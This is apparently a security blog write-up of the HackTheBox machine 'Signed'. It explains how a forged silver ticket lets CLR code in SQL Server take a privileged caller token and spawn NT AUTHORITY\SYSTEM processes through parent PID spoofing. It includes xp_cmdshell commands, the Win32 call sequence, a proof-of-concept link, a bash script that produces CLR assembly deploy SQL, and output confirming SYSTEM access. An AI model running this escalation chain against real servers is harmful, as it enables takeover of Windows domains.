Silver Tickets and MSSQL: Privesc Without SeImpersonatePrivilege
I ran into an interesting situation while reviewing Signed on HackTheBox: We get MSSQL access through a silver ticket, which leads to admin privileges on the MSSQL service - but the service account had been stripped of all useful privileges.
The process token looked like this:
1
2
3
4
SeIncreaseQuotaPrivilege (Disabled)
SeChangeNotifyPrivilege (Enabled)
SeCreateGlobalPrivilege (Enabled)
SeIncreaseWorkingSetPrivilege (Disabled)
No SeImpersonatePrivilege, SeManageVolumePrivilege or SeAssignPrimaryTokenPrivilege. The service account (mssqlsvc) was a normal domain user - not in any admin groups, not running as NT SERVICE\MSSQLSERVER or LocalSystem. The usual potato exploits wouldn’t work here, so it got me curious. The intended path on this machine was to use xp_cmdshell to get into this stripped user’s context and continue from there.
Silver Ticket
Since the KDC is not involved in validating service tickets (the service decrypts them itself), we control the PAC and can claim arbitrary group memberships like Domain Admins, Enterprise Admins, BUILTIN\Administrators and so on.
The SQL server was using this forged identity for certain operations but not for others. OPENROWSET(BULK) for instance could read files from C:\Users\Administrator\Desktop\ (including the root flag), which is not something mssqlsvc should be able to do. With SA privileges we also were able to run xp_cmdshell but this put us into a normal user context without any special privileges:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami /all';
User Name SID
=============== =========================================
signed\mssqlsvc S-1-5-21-4088429403-1159899800-2753317549
...
Privilege Name Description
============================= ===========================
SeIncreaseQuotaPrivilege Adjust memory quotas for a
SeChangeNotifyPrivilege Bypass traverse checking
SeCreateGlobalPrivilege Create global objects
SeIncreaseWorkingSetPrivilege Increase a process working
...
So the question was - why does OPENROWSET(BULK) have more privileged access?
First Attempt: Thread Token
The first thing I tried from within a CLR stored procedure was checking for a thread impersonation token. The idea was that SQL Server might keep the caller’s identity on the CLR execution thread:
1
2
OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, false, out threadToken);
// Result: error 1008 (ERROR_NO_TOKEN)
No luck. SQL Server only impersonates for specific operations like OPENROWSET. The CLR worker thread runs under the service account’s identity, not the caller’s.
Second Attempt: SqlContext.WindowsIdentity
SQL Server does however expose the caller’s Windows identity to CLR code through SqlContext.WindowsIdentity. This is a .NET WindowsIdentity object, and for a Kerberos-authenticated connection it wraps the actual Windows token created from the ticket’s PAC data.
I was not expecting much, but the result was pretty good!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SqlContext.WindowsIdentity: SIGNED\mssqlsvc
Caller token privileges (26):
SeIncreaseQuotaPrivilege (Enabled)
SeSecurityPrivilege (Enabled)
SeTakeOwnershipPrivilege (Enabled)
SeDebugPrivilege (Enabled)
SeImpersonatePrivilege (Enabled)
... all 26 enabled
Caller token groups (18):
S-1-5-21-...-512 (Enabled) <-- Domain Admins
S-1-5-32-544 (Enabled) <-- BUILTIN\Administrators
S-1-5-21-...-519 (Enabled) <-- Enterprise Admins
...
Same user principal (mssqlsvc), but the token from SqlContext.WindowsIdentity has 26 privileges - all enabled - and carries the forged admin group memberships. The process token has 4 stripped privileges and no interesting groups.
The next step was to duplicate this token into a primary token for CreateProcessAsUser. But…
1
2
3
IntPtr callerToken = SqlContext.WindowsIdentity.Token;
DuplicateTokenEx(callerToken, MAXIMUM_ALLOWED, ...);
// Result: error 5 (ACCESS_DENIED)
The handle from WindowsIdentity.Token is managed by the .NET runtime and does not carry TOKEN_DUPLICATE access. So we have a token with admin privileges that we can see but not use?
The Working Approach
The trick is to go through .Impersonate() first. WindowsIdentity.Impersonate() internally calls the Win32 API to set the caller’s identity as the thread impersonation token. Once the thread is impersonating, we can call OpenThreadToken to get a handle with proper access rights:
SqlContext.WindowsIdentity- get the caller’s identity.Impersonate()- sets the thread impersonation tokenOpenThreadToken(TOKEN_ALL_ACCESS)- fresh handle with full accessDuplicateTokenEx- convert to primary token.Undo()- revert managed impersonation immediately
At this point we have a usable primary token with all the forged PAC privileges. We can’t call CreateProcessAsUser with it directly - that API requires SeAssignPrimaryTokenPrivilege, which is only assigned to SYSTEM, NETWORK SERVICE and LOCAL SERVICE via local security policy - not to Domain Admins.
Instead, we use parent PID spoofing. The silver ticket token has SeDebugPrivilege from the forged admin group membership, which lets us open any process regardless of its security descriptor. We open a SYSTEM process and use it as the parent for CreateProcess - the child inherits the parent’s primary token:
ImpersonateLoggedOnUser(silverToken)- native impersonation (not tracked by CLR host)QueryServiceStatusEx("DcomLaunch")+OpenProcess(PROCESS_ALL_ACCESS)- get handle to SYSTEM process (succeeds viaSeDebugPrivilege)RevertToSelf()- done with impersonation, keep the process handleCreateProcesswithPROC_THREAD_ATTRIBUTE_PARENT_PROCESS= DcomLaunch handle - child inherits SYSTEM token
When CreateProcess is called with an explicit parent via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, the kernel creates the child process with a token inherited from the designated parent - not the caller. This bypasses the SeAssignPrimaryTokenPrivilege requirement entirely since no explicit token assignment occurs.
There are two important CLR hosting constraints to be aware of: SQL Server’s CLR host tracks managed impersonation (WindowsImpersonationContext) and will abort execution if it’s held too long. The .Undo() in step 5 must happen promptly. For the OpenProcess call (step 6-7), we use the native ImpersonateLoggedOnUser/RevertToSelf APIs instead, which the CLR host does not monitor.
The spawned process runs as NT AUTHORITY\SYSTEM with full privileges.
Proof of Concept
This CLR stored procedure implements the technique. It takes a process and arguments, extracts the privileged token and uses parent PID spoofing to spawn the command as SYSTEM: https://gist.github.com/xct/8e0051caa54993c21757c72e0597e86c.
Building and Deploying
1
csc /target:library /out:SilverTokenPoC.dll SilverTokenPoC.cs /r:System.Data.dll
This helper automatically builds the SQL commands copy paste ready:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/bash
set -e
if [ $# -lt 4 ]; then
echo "Usage: $0 <dll_path> <assembly_name> <proc_name> <class.method> [proc_params]"
echo ""
echo "Example:"
echo " $0 SilverTokenPoC.dll SilverTokenPoC silver_token_exec \\"
echo " 'SilverTokenPoC.SilverTokenPoC.silver_token_exec' \\"
echo " '@process NVARCHAR(260),@arguments NVARCHAR(4000)'"
exit 1
fi
DLL="$1"
ASM_NAME="$2"
PROC_NAME="$3"
EXTERNAL="$4"
PARAMS="${5:-}"
if [ ! -f "$DLL" ]; then
echo "Error: $DLL not found" >&2
exit 1
fi
HEX=$(xxd -p "$DLL" | tr -d '\n')
TOTAL=${#HEX}
CHUNK=4000
echo "- CLR Assembly Deploy Script"
echo "- Generated from: $(basename "$DLL") ($(wc -c < "$DLL" | tr -d ' ') bytes)"
echo "- Chunked for SQL shells with terminal paste limits"
echo ""
echo "- Step 1: Enable CLR"
echo "EXEC sp_configure 'show advanced options',1;RECONFIGURE;"
echo "EXEC sp_configure 'clr enabled',1;RECONFIGURE;"
echo ""
echo "- Step 2: Trust the assembly (SQL 2017+)"
echo "CREATE TABLE #b(d VARBINARY(MAX));"
OFFSET=0
FIRST=1
while [ $OFFSET -lt $TOTAL ]; do
CHUNK_HEX="${HEX:$OFFSET:$CHUNK}"
if [ $FIRST -eq 1 ]; then
echo "INSERT #b VALUES(0x${CHUNK_HEX});"
FIRST=0
else
echo "UPDATE #b SET d=d+0x${CHUNK_HEX};"
fi
OFFSET=$((OFFSET + CHUNK))
done
echo "DECLARE @h VARBINARY(64)=(SELECT HASHBYTES('SHA2_512',d) FROM #b);EXEC sys.sp_add_trusted_assembly @hash=@h,@description=N'${ASM_NAME}';"
echo ""
echo "- Step 3: Create assembly"
echo "DECLARE @b VARBINARY(MAX)=(SELECT d FROM #b);CREATE ASSEMBLY ${ASM_NAME} FROM @b WITH PERMISSION_SET=UNSAFE;DROP TABLE #b;"
echo ""
echo "- Step 4: Create procedure"
if [ -n "$PARAMS" ]; then
echo "CREATE PROCEDURE dbo.${PROC_NAME} ${PARAMS} AS EXTERNAL NAME ${EXTERNAL}"
else
echo "CREATE PROCEDURE dbo.${PROC_NAME} AS EXTERNAL NAME ${EXTERNAL}"
fi
We run the script to build the commands and paste them into the SQL shell.
1
2
3
4
5
6
7
8
9
./clr_to_sql.sh SilverTokenPoC.dll SilverTokenPoC silver_token_exec 'SilverTokenPoC.SilverTokenPoC.silver_token_exec' '@process NVARCHAR(260),@arguments NVARCHAR(4000)'
...
- Step 1: Enable CLR
EXEC sp_configure 'show advanced options',1;RECONFIGURE;
EXEC sp_configure 'clr enabled',1;RECONFIGURE;
- Step 2: Trust the assembly (SQL 2017+)
CREATE TABLE #b(d VARBINARY(MAX));
...
We then execute it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
EXEC dbo.silver_token_exec @process = N'whoami', @arguments = N'/all';
...
[+] Admin group membership confirmed
[*] Impersonating caller identity...
[+] Primary token obtained from forged PAC identity
[*] Getting DcomLaunch process handle...
[+] DcomLaunch PID: 872
[+] Got handle to DcomLaunch
[*] Command: whoami /all
[+] Spawned process PID 4288 as child of DcomLaunch (SYSTEM)
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
...
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
Why This Works
Three properties come together here:
Silver tickets carry arbitrary PAC data. The KDC does not validate service tickets - the service decrypts and trusts them directly. Whatever group memberships the attacker puts in the PAC end up in the Windows logon session.
SQL Server builds a real Windows token from the PAC. When a Kerberos-authenticated client connects, SQL Server delegates to the Windows security subsystem to create a logon session. The resulting token reflects the PAC groups verbatim. There is no independent validation against Active Directory.
SqlContext.WindowsIdentity exposes this token to CLR code. The WindowsIdentity object wraps the real Windows token from the authenticated session. The .Impersonate() -> OpenThreadToken -> DuplicateTokenEx sequence gives us a usable primary token with full access rights. The forged admin group membership grants SeDebugPrivilege, which lets us open a SYSTEM process (DcomLaunch). Using this handle as the parent for CreateProcess via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, the child inherits the parent’s SYSTEM token - bypassing the SeAssignPrimaryTokenPrivilege requirement that blocks CreateProcessAsUser.
